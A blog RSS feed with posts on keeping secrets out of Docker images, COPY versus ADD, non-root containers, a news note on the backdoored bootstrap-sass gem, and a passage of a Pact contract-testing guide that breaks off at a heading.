&lt;p&gt;There’s a &lt;a href=&quot;https://snyk.io/blog/npm-passes-the-1-millionth-package-milestone-what-can-we-learn&quot;&gt;more detailed article&lt;/a&gt; on other registry and community statistics such as how many npm packages were added in 2019? As well as what are some interesting insights from the Node.js Foundation’s package maintenance working group.&lt;/p&gt;</content:encoded></item><item><title>Are you building Docker images? here&apos;s how to avoid leaking sensitive information into Docker images</title><link>https://lirantal.com/blog/2019-05-09_avoid-leaking-sensitive-information-when-building-docker-images/</link><guid>https://lirantal.com/blog/2019-05-09_avoid-leaking-sensitive-information-when-building-docker-images/</guid><description>Sometimes, when building an application inside a Docker image, you need secrets such as an SSH private key to pull code from a private repository but you may be going about it the wrong way by leaking secrets into the image. Here is how to avoid it.</description><pubDate>Thu, 09 May 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Sometimes, when building an application inside a Docker image, you need secrets such as an SSH private key to pull code from a private repository, or you need tokens to install private packages.&lt;/p&gt;
&lt;p&gt;If you copy them into the Docker intermediate container they are cached on the layer to which they were added, even if you delete them later on. These tokens and keys must be kept outside of the &lt;code&gt;Dockerfile&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&quot;using-multi-stage-builds&quot;&gt;Using multi-stage builds&lt;/h2&gt;
&lt;p&gt;By leveraging Docker support for multi-stage builds, fetch and manage secrets in an intermediate image layer that is later disposed of so that no sensitive data reaches the image build.&lt;/p&gt;
&lt;p&gt;Use code to add secrets to said intermediate layer, such as in the following example:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;FROM: ubuntu as intermediate&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;WORKDIR /app&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;COPY secret/key /tmp/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;RUN scp -i /tmp/key build@acme/files .&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;FROM ubuntu&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;WORKDIR /app&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;COPY --from=intermediate /app .&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;using-docker-secret-commands&quot;&gt;Using Docker secret commands&lt;/h2&gt;
&lt;p&gt;Use an alpha feature in Docker for managing secrets to mount sensitive files without caching them, similar to the following:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;# syntax = docker/dockerfile:1.0-experimental&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;FROM alpine&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;# shows secret from default secret location&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;RUN --mount=type=secret,id=mysecret cat /run/secrets/mysecre&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;# shows secret from custom secret location&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;RUN --mount=type=secret,id=mysecret,dst=/foobar cat /foobar&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;beware-of-recursive-copy&quot;&gt;Beware of recursive copy&lt;/h2&gt;
&lt;p&gt;You should also be mindful when copying files into the image that is being built.&lt;/p&gt;
&lt;p&gt;For example, the following command copies the entire build context folder, recursively, to the Docker image, which could end up copying sensitive files as well:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;COPY . .&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you have sensitive files in your folder, either remove them or use &lt;code&gt;.dockerignore&lt;/code&gt; to ignore them:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;private.key&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;appsettings.json&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;This tip is part of a complete &lt;a href=&quot;https://snyk.io/blog/10-docker-image-security-best-practices/&quot;&gt;10 Docker image security best practices&lt;/a&gt; you should adopt. Thanks for reading and to &lt;a href=&quot;https://twitter.com/omerlh&quot;&gt;Omer Levi Hevroni&lt;/a&gt; who worked with me on it.&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded></item><item><title>Why you should use COPY instead of ADD when building Docker images</title><link>https://lirantal.com/blog/2019-05-01_why-you-should-use-copy-instead-of-add/</link><guid>https://lirantal.com/blog/2019-05-01_why-you-should-use-copy-instead-of-add/</guid><description>Docker provides two commands for copying files from the host to the Docker image when building it: `COPY` and `ADD`. which one should you use?</description><pubDate>Wed, 01 May 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Docker provides two commands for copying files from the host to the Docker image when building it: &lt;code&gt;COPY&lt;/code&gt; and &lt;code&gt;ADD&lt;/code&gt;. The instructions are similar in nature, but differ in their functionality:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;COPY — copies local files recursively, given explicit source and destination files or directories. With COPY, you must declare the locations.&lt;/li&gt;
&lt;li&gt;ADD — copies local files recursively, implicitly creates the destination directory when it doesn’t exist, and accepts archives as local or remote URLs as its source, which it expands or downloads respectively into the destination directory.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;While subtle, the differences between ADD and COPY are important. Be aware of these differences to avoid potential security issues:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;When remote URLs are used to download data directly into a source location, they could result in man-in-the-middle attacks that modify the content of the file being downloaded. Moreover, the origin and authenticity of remote URLs need to be further validated. When using COPY the source for the files to be downloaded from remote URLs should be declared over a secure TLS connection and their origins need to be validated as well.&lt;/li&gt;
&lt;li&gt;Space and image layer considerations: using COPY allows separating the addition of an archive from remote locations and unpacking it as different layers, which optimizes the image cache. If remote files are needed, combining all of them into one RUN command that downloads, extracts, and cleans-up afterwards optimizes a single layer operation over several layers that would be required if ADD were used.&lt;/li&gt;
&lt;li&gt;When local archives are used, ADD automatically extracts them to the destination directory. While this may be acceptable, it adds the risk of zip bombs and &lt;a href=&quot;https://snyk.io/research/zip-slip-vulnerability&quot;&gt;Zip Slip vulnerabilities&lt;/a&gt; that could then be triggered automatically.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;This tip is part of a complete &lt;a href=&quot;https://snyk.io/blog/10-docker-image-security-best-practices/&quot;&gt;10 Docker image security best practices&lt;/a&gt; you should adopt. Thanks for reading and to &lt;a href=&quot;https://twitter.com/omerlh&quot;&gt;Omer Levi Hevroni&lt;/a&gt; who worked with me on it.&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded></item><item><title>How to securely build Docker images for Node.js</title><link>https://lirantal.com/blog/2019-04-22-securely-build-docker-images/</link><guid>https://lirantal.com/blog/2019-04-22-securely-build-docker-images/</guid><description>When a Dockerfile doesn&apos;t specify a USER directive, what&apos;s the worst that can happen?</description><pubDate>Mon, 22 Apr 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;use-a-least-privileged-user&quot;&gt;Use a least privileged user&lt;/h2&gt;
&lt;p&gt;When a &lt;code&gt;Dockerfile&lt;/code&gt; doesn’t specify a &lt;code&gt;USER&lt;/code&gt;, it defaults to executing the container using the root user. In practice, there are very few reasons why the container should have root privileges.&lt;/p&gt;
&lt;p&gt;Docker defaults to running containers using the root user. When that namespace is then mapped to the root user in the running container, it means that the container potentially has root access on the Docker host.&lt;/p&gt;
&lt;p&gt;Having an application on the container run with the root user further broadens the attack surface and enables an easy path to privilege escalation if the application itself is vulnerable to exploitation.&lt;/p&gt;
&lt;p&gt;To minimize exposure, opt-in to create a dedicated user and a dedicated group in the Docker image for the application; use the &lt;code&gt;USER&lt;/code&gt; directive in the &lt;code&gt;Dockerfile&lt;/code&gt; to ensure the container runs the application with the least privileged access possible.&lt;/p&gt;
&lt;p&gt;A specific user might not exist in the image; create that user using the instructions in the &lt;code&gt;Dockerfile&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The following demonstrates a complete example of how to do this for a generic Ubuntu image:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;FROM ubuntu&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;RUN mkdir /app&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;RUN groupadd -r lirantal &amp;#x26;&amp;#x26; useradd -r -s /bin/false -g lirantal lirantal&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;RUN chown -R lirantal:lirantal /app&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;WORKDIR /app&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;COPY . /app&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;USER lirantal&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;CMD node index.js&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The example above:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;creates a system user (-r), with no password, no home directory set, and no shell&lt;/li&gt;
&lt;li&gt;adds the user we created to an existing group that we created beforehand (using groupadd)&lt;/li&gt;
&lt;li&gt;adds a final argument set to the user name we want to create, in association with the group we created&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you’re a fan of Node.js and alpine images, they already bundle a generic user for you called &lt;code&gt;node&lt;/code&gt;. Here’s a Node.js example, making use of the generic node user:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;FROM node:10-alpine &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;RUN mkdir /app&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;COPY . /app&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;RUN chown -R node:node /app&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;USER node&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;CMD [“node”, “index.js”]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you’re developing Node.js applications, you may want to consult with the official &lt;a href=&quot;https://github.com/nodejs/docker-node/blob/master/docs/BestPractices.md&quot;&gt;Docker and Node.js Best Practices&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This post is part of &lt;a href=&quot;https://snyk.io/blog/10-docker-image-security-best-practices/&quot;&gt;10 Docker image security best practices&lt;/a&gt; you should adopt. Thanks for reading and to &lt;a href=&quot;https://twitter.com/omerlh&quot;&gt;Omer Levi Hevroni&lt;/a&gt; who worked with me on it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://snyk.io/blog/10-docker-image-security-best-practices/&quot;&gt;&lt;img src=&quot;/images/blog/1lgubzkhy0jvjahg4zfp.png&quot; alt=&quot;Docker Images Security Best Practices&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>Did you hear about the malicious backdoor discovered in the popular bootstrap-sass Ruby gem?</title><link>https://lirantal.com/blog/2019-04-09_the-malicious-backdoor-of-ruby/</link><guid>https://lirantal.com/blog/2019-04-09_the-malicious-backdoor-of-ruby/</guid><description>a malicious version of a Ruby gem used in a Rails application leads to remote code execution on vulnerable servers</description><pubDate>Tue, 09 Apr 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I recently shared the &lt;a href=&quot;https://snyk.io/blog/malicious-remote-code-execution-backdoor-discovered-in-the-popular-bootstrap-sass-ruby-gem/&quot;&gt;outline of events and technical details&lt;/a&gt; behind the backdoor that was wisely hidden in the 3.2.0.3 version of bootstrap-sass, a popular ruby gem that was downloaded 28 million times since added to the repository 8 years ago.&lt;/p&gt;
&lt;p&gt;The malicious version allowed remote attackers to dynamically execute code on servers hosting the vulnerable versions, by sending a specially crafted HTTP request that hides the payload in an innocent-looking cookie 🍪.&lt;/p&gt;
&lt;p&gt;As there are no logs and evidence to trace back how this happened, the maintainers suspect that the gem was published using a compromised account of one of the two of them who had publish access.&lt;/p&gt;
&lt;p&gt;We’ve heard stories of this happening before in the JavaScript community as well. On good example for this is the eslint-scope package.&lt;/p&gt;
&lt;h2 id=&quot;what-can-we-do-about-it&quot;&gt;What can we do about it?&lt;/h2&gt;
&lt;p&gt;I can’t stress enough how important it is for maintainers, and developers in general to bump up their security game. I have compiled a list of &lt;a href=&quot;https://snyk.io/blog/ten-npm-security-best-practices/&quot;&gt;10 npm security best practices&lt;/a&gt; for JavaScript developers, and at the very least enabling 2FA on the RubyGems repository is a must.&lt;/p&gt;
&lt;p&gt;If you’re using &lt;a href=&quot;https://app.snyk.io/signup&quot;&gt;Snyk&lt;/a&gt;, we already updated our vulnerability database to alert in-case you are using the malicious version.&lt;/p&gt;</content:encoded></item><item><title>A Comprehensive Guide to Contract Testing APIs in a Service Oriented Architecture</title><link>https://lirantal.com/blog/a-comprehensive-guide-to-contract-testing-apis-in-a-service-oriented-architecture-5695ccf9ac5a/</link><guid>https://lirantal.com/blog/a-comprehensive-guide-to-contract-testing-apis-in-a-service-oriented-architecture-5695ccf9ac5a/</guid><description>It is likely you experienced the painful situation of deploying to production only to find out that an API service you integrate with has…</description><pubDate>Thu, 28 Mar 2019 20:30:26 GMT</pubDate><content:encoded>&lt;p&gt;It is likely you experienced the painful situation of deploying to production only to find out that an API service you integrate with has broken the contract. How can we effectively ensure this does not happen?&lt;/p&gt;
&lt;p&gt;Whether Monoliths or Microservices, it is likely that your architecture now or in the future will evolve to include API interactions between autonomous services in your infrastructure.&lt;/p&gt;
&lt;p&gt;When a Service Oriented Architecture shapes-up (i.e: microservices), there is a high level of importance of testing these API interactions in order to add a layer of confidence as different teams deploy new versions and risk breaking an API contract with some of the other teams they integrate with.&lt;/p&gt;
&lt;p&gt;In this guide we will review how to &lt;strong&gt;practically adopt the Consumer-Driven Contracts&lt;/strong&gt; (CDC) pattern to address this situation and deploy with confidence, while maintaining a lean End-to-End infrastructure.&lt;/p&gt;
&lt;h3 id=&quot;preface-and-pre-requisite&quot;&gt;Preface and Pre-requisite&lt;/h3&gt;
&lt;p&gt;When applying a consumer driven development methodology, our goal is to establish API contracts between two parties and verify during tests of each party that both parties uphold their part of the contract.&lt;/p&gt;
&lt;p&gt;As an example, these two parties can be a Frontend and a Backend, or two Backend services integrating with each other.&lt;/p&gt;
&lt;p&gt;To do so, we use &lt;a href=&quot;https://docs.pact.io&quot;&gt;Pact&lt;/a&gt; which is a set of libraries and frameworks developed and open sourced by the &lt;a href=&quot;https://github.com/pact-foundation&quot;&gt;Pact Foundation&lt;/a&gt; to implement the pattern.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The Pact team has done an amazing job of documentation the library, adding examples and practices so don’t skip their developer docs when in question: &lt;a href=&quot;https://docs.pact.io/&quot;&gt;https://docs.pact.io&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;For this guide, you will need:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A git workflow — The consumer teams embrace and practice the &lt;a href=&quot;https://trunkbaseddevelopment.com/&quot;&gt;Trunk Based Development&lt;/a&gt; workflow where there is a single line of development (i.e: &lt;strong&gt;&lt;em&gt;master&lt;/em&gt;&lt;/strong&gt; branch) and there are no long-lived feature branches.&lt;/li&gt;
&lt;li&gt;JavaScript and Node.js experience — The practical code examples provided in this guide are based on teams with services built with Node.js, however it applies to other platforms as well.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;the-motivation-for-consumer-driven-contracttesting&quot;&gt;The Motivation for Consumer-Driven Contract Testing&lt;/h3&gt;
&lt;p&gt;Once upon a time in a galaxy far, far away, most of us followed this standard architecture for building web applications:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__19s6JsGNp13S81bz__igWeA.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;You can easily fill in the text for the squares by yourself.&lt;br&gt;
Some options are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tomcat, Oracle&lt;/li&gt;
&lt;li&gt;PHP, MySQL&lt;/li&gt;
&lt;li&gt;.NET, MSSQL&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;They weren’t that bad, right? Just think about how easy it was when you had o&lt;strong&gt;ne database&lt;/strong&gt;, &lt;strong&gt;one repository&lt;/strong&gt;. How easy it was to &lt;strong&gt;monitor them&lt;/strong&gt; — just one view and one system to track. &lt;strong&gt;Business domain evolution&lt;/strong&gt;, and the processes around that were easy. Testing monoliths was rather easy as well&lt;/p&gt;
&lt;p&gt;But Monoliths shows its weakness as teams, traffic, business and complexity scales up.&lt;/p&gt;
&lt;p&gt;So we ventured into embracing the Service Oriented Architecture to its full power. Here is Amazon’s collection of microservices around 2009 to remind you what the two squares evolve to when this happens:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__oSEDfUjxaFkwo52JzbXIBw.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Sure enough I’m deliberately drawing an extreme here, but even for small products — the business domain splits across several services and teams, different data stores, some infrastructure middlewares (auth, user management, communication messaging, configuration, etc).&lt;/p&gt;
&lt;p&gt;With all that in mind, this begs the question — &lt;br&gt;
&lt;strong&gt;How do you test a system with many dependencies and autonomous teams that make up the system? How do you ensure that continuous delivery and deployment do not break API contracts?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Let’s take a use-case:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Team A is responsible for movies&lt;/li&gt;
&lt;li&gt;Team B is responsible for reviews&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1____2qMyFbFV7RxkJIJAgAmxA.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Each team’s test and delivery pipeline is made up of common testing practices such as unit, integration and end-to-end testing. But the real question is how does each team tests its services, and manages to deploys independently to production, without breaking the API contract?&lt;/p&gt;
&lt;h4 id=&quot;option-1test-usingmocks&quot;&gt;Option 1 — Test using Mocks&lt;/h4&gt;
&lt;p&gt;Your system (End-to-End or Integration) testing is using mocks for the services the team depends on.Why would you choose to do that?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Because spinning up and down test environments for CI or E2E tests is complicated and requires to bring up real service dependencies (i.e: their databases), configure them properly, resolve versioning appropriately, and so on.&lt;/li&gt;
&lt;li&gt;Regardless of the complexity required, it is slow and resource-heavy (which translates to money) to support this setup.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Benefits of using mocks are: quick tests, cheap, fast to implement, deterministic tests.&lt;/p&gt;
&lt;p&gt;The downside? Not reliable in the real world, beyond your local setup.&lt;br&gt;
You’re testing based on assumptions on how API contracts were implemented, but whom to say that the team you integrate with didn’t just break the API in a recent release?&lt;/p&gt;
&lt;h4 id=&quot;option-2-test-with-real-dependencies&quot;&gt;Option 2— Test with real dependencies&lt;/h4&gt;
&lt;p&gt;You don’t buy-in to mocks. You need confidence. Why do you invest in all of those tests if you can’t ensure that going to production you will not be breaking an API that another team depends on you with?&lt;/p&gt;
&lt;p&gt;So you go ahead and default to the naive approach — let’s bring up all of those services that I need when I’m running my End-to-End tests in CI!&lt;/p&gt;
&lt;p&gt;It resembles something like the below picture, right:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__8VcwhVR8BCJMvP4sYSC1ZQ.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;You end up needing to maintain a bloat environment with many dependencies and orchestrate them to work together. Let’s not even mention the added complexity with seeding data into those other services you need.&lt;/p&gt;
&lt;p&gt;Do you remember the Testing Pyramid? As you move up the pyramid of tests towards End-to-End tests, they become slow, and pricey.&lt;/p&gt;
&lt;h3 id=&quot;introducing-contracttesting&quot;&gt;Introducing: Contract Testing&lt;/h3&gt;
&lt;p&gt;What if I told you that you can win both worlds?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;All the benefits of using mocks — quick tests, easy environment setup, and deterministic tests.&lt;/li&gt;
&lt;li&gt;All the benefits of a fully deployed E2E — reliability and confidence when deploying to production.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To put it simply — with contract testing, you work with mocks that represent the agreed-upon API contract between the services, but also, the services (or teams really) that provide the API for consumption have to uphold that API contract that is used in those mocks, and the contract is enforced in their CI so they can’t break the API and go to production.&lt;/p&gt;
&lt;h3 id=&quot;the-players-in-contracttesting&quot;&gt;The Players in Contract Testing&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__OX1FAjgzhfKyscN3N1i4WQ.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://docs.pact.io/&quot;&gt;Pact Framework&lt;/a&gt; is an open source project for contract testing with support for several platforms like Ruby, JavaScript, Java and others through its set of libraries.&lt;/p&gt;
&lt;h4 id=&quot;terminology&quot;&gt;Terminology&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Consumer&lt;/strong&gt; — any party that interacts with a dependent service through an API (HTTP, event-based, etc). This often drills down to be a backend interacting with another backend API, but it doesn’t have to be. A browser frontend is also a valid party that depends on a backend API and is considered a consumer.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Provider&lt;/strong&gt; — any party that provides a service for interacting with to its dependents.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Contracts&lt;/strong&gt; — just like law enforceable agreements, these contracts represent a set of interactions with expected request and response structures. Through-out this document we will use Pacts and Contracts interchangeably to refer to the contract.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Broker&lt;/strong&gt; — the contracts need a place to be stored. It can be any generic assets server, but its better if they are versioned, so version control is a choice. A better choice is to use the &lt;a href=&quot;https://github.com/pact-foundation/pact_broker&quot;&gt;Pact Broker&lt;/a&gt; which is suited for this exact need and is open source, and the good folks at &lt;a href=&quot;https://dius.com.au&quot;&gt;DiUS&lt;/a&gt; also provide a free hosted version of it if you’re just starting out.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;The consumer&lt;/strong&gt; part is defining the API contract by setting expectations of the provider request and response structure. These sets of interactions make the contract between a consumer and its provider.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The contract&lt;/strong&gt; is then published to a pact broker which is a central place to inspect and manage the contracts.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;pact broker&lt;/strong&gt; holds the contracts and provides added value such as displaying whether contracts have been verified, what interactions exist between services, and other features.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The provider&lt;/strong&gt; is providing the API, and in its turn, pulls contracts from the broker to run its test against, and verify whether its own test suite is breaking or not, which it then reports back to the broker.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Note: through-out the guide we will be using CDC as short for Consumer-Driven Contracts, and pacts as an alias for the contracts.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;contract-testing&quot;&gt;Contract Testing&lt;/h3&gt;
&lt;h4 id=&quot;lifecycle&quot;&gt;&lt;strong&gt;Lifecycle&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;Following is a high level overview for the workflow of contract testing between a consumer and a provider team.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__xCdHRuW6GUZYlouV5TIUyA.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The cycle starts with the top-left side of the picture where the consumer team initiates a collaboration about the requirements for the contract with the provider team.&lt;/p&gt;
&lt;p&gt;Once both teams have agreed on the API contract, the consumer team can venture into writing tests that manifest the interactions and their expectations. The result of running these tests will become the contract, in essence, being a JSON representation of the API contract specifying all the expected interactions.&lt;/p&gt;
&lt;p&gt;These contracts have to live somewhere. While you are free to host them straight up on a git repository, or in an artifact repository such as &lt;a href=&quot;https://www.sonatype.com/nexus-repository-oss&quot;&gt;Nexus&lt;/a&gt; or &lt;a href=&quot;https://jfrog.com/artifactory/&quot;&gt;Artifactory&lt;/a&gt;, there’s a huge benefit of using Pact’s own solution to host them and that’s called the Pact Broker. Some of the benefits include: visibility of service dependencies, webhooks, visibility into contract verification status, and much more. Needless to add — it is open source so you can spin up your own broker in a container.&lt;/p&gt;
&lt;p&gt;Later in the future, the provider team implements the API contracts for its consumer.&lt;/p&gt;
&lt;p&gt;What if the provider team didn’t implement the contract as was expected and agreed upon by the consumer? What if at first release the API worked as expected, but a couple of releases down the road the provider team broke the API contract by modifying some of the semantics in the response payload?&lt;/p&gt;
&lt;p&gt;To catch these cases and enforce the API contract upon the provider before it even pushes a release, the provider in its CI pipeline downloads the contracts of all of its consumers and run the required provider testing to confirm it didn’t break anything.&lt;/p&gt;
&lt;h3 id=&quot;consumer-contracttesting&quot;&gt;Consumer Contract Testing&lt;/h3&gt;
&lt;p&gt;A consumer will typically have a client class or utility helper in the project that performs the calls to the provider. The consumer tests in essence revolve around running unit tests for that helper, involving the Pact framework’s mock service to reply with canned responses based on the set expectations during the unit test setup. The result of a successful contract test run is the Pact contract file between the consumer and provider.&lt;/p&gt;
&lt;p&gt;This means that the consumer tests are used to define the contract, and unit testing the consumer’s client code for interacting with the provider, but will not really have any reason to fail. A broken contract doesn’t fail the consumer’s build or CI because when the consumer tests are running they work with the Pact’s mock service and don’t spin up any real provider.&lt;/p&gt;
&lt;p&gt;With that said, the provider mocking doesn’t make consumer testing useless. At the very least, they unit tests the consumer’s API helper.&lt;/p&gt;
&lt;h4 id=&quot;the-http-clientlibrary&quot;&gt;The HTTP Client Library&lt;/h4&gt;
&lt;p&gt;The Movies microservice has an HTTP client utility library that helps in making calls to the Reviews service, handling the data transfer objects, manipulating as necessary, and so on. It makes sense you’ll have one, right?&lt;/p&gt;
&lt;p&gt;It may look like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__uFvcZaaW5uk4rH9Mg9g68g.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h4 id=&quot;consumer-mocksetup&quot;&gt;Consumer Mock Setup&lt;/h4&gt;
